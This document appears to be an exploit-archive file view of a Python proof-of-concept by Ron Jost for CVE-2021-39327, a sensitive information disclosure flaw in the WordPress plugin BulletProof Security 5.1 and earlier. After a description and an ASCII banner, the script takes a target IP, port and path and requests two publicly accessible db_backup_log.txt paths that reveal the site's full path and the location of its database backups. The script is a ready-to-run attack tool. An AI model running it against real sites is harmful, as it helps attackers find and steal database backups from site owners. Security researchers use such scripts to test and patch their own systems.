bd08b79b4a
4 changes to exploits/shellcodes Atlassian Jira Server/Data Center 8.16.0 - Arbitrary File Read Odine Solutions GateKeeper 1.0 - 'trafficCycle' SQL Injection Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure Apache HTTP Server 2.4.49 - Path Traversal
59 lines
No EOL
2.1 KiB
Python
Executable file
59 lines
No EOL
2.1 KiB
Python
Executable file
# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
|
|
# Date 04.10.2021
|
|
# Exploit Author: Ron Jost (Hacker5preme)
|
|
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
|
|
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
|
|
# Version: <= 5.1
|
|
# Tested on: Ubuntu 18.04
|
|
# CVE: CVE-2021-39327
|
|
# CWE: CWE-200
|
|
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md
|
|
|
|
|
|
'''
|
|
Description:
|
|
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible
|
|
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files.
|
|
This affects versions up to, and including, 5.1.
|
|
'''
|
|
|
|
'''
|
|
'Banner:
|
|
'''
|
|
banner = '''
|
|
______ _______ ____ ___ ____ _ _____ ___ _________ _____
|
|
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ // _ \___ /___ \___ |
|
|
| | \ \ / /| _| _____ __) | | | |__) | |_____ |_ \ (_) ||_ \ __) | / /
|
|
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____|__) \__, |__) / __/ / /
|
|
\____| \_/ |_____| |_____|\___/_____|_| |____/ /_/____/_____/_/
|
|
|
|
* Sensitive information disclosure
|
|
@ Author: Ron Jost
|
|
'''
|
|
print(banner)
|
|
|
|
|
|
import argparse
|
|
import requests
|
|
|
|
'''
|
|
User-Input:
|
|
'''
|
|
my_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')
|
|
my_parser.add_argument('-T', '--IP', type=str)
|
|
my_parser.add_argument('-P', '--PORT', type=str)
|
|
my_parser.add_argument('-U', '--PATH', type=str)
|
|
args = my_parser.parse_args()
|
|
target_ip = args.IP
|
|
target_port = args.PORT
|
|
wp_path = args.PATH
|
|
print('')
|
|
print('[*] Starting Exploit:')
|
|
print('')
|
|
|
|
paths = ["/wp-content/bps-backup/logs/db_backup_log.txt", "/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"]
|
|
|
|
# Exploit
|
|
for pathadd in paths:
|
|
x = requests.get("http://" + target_ip + ':' + target_port + '/' + wp_path + pathadd)
|
|
print(x.text) |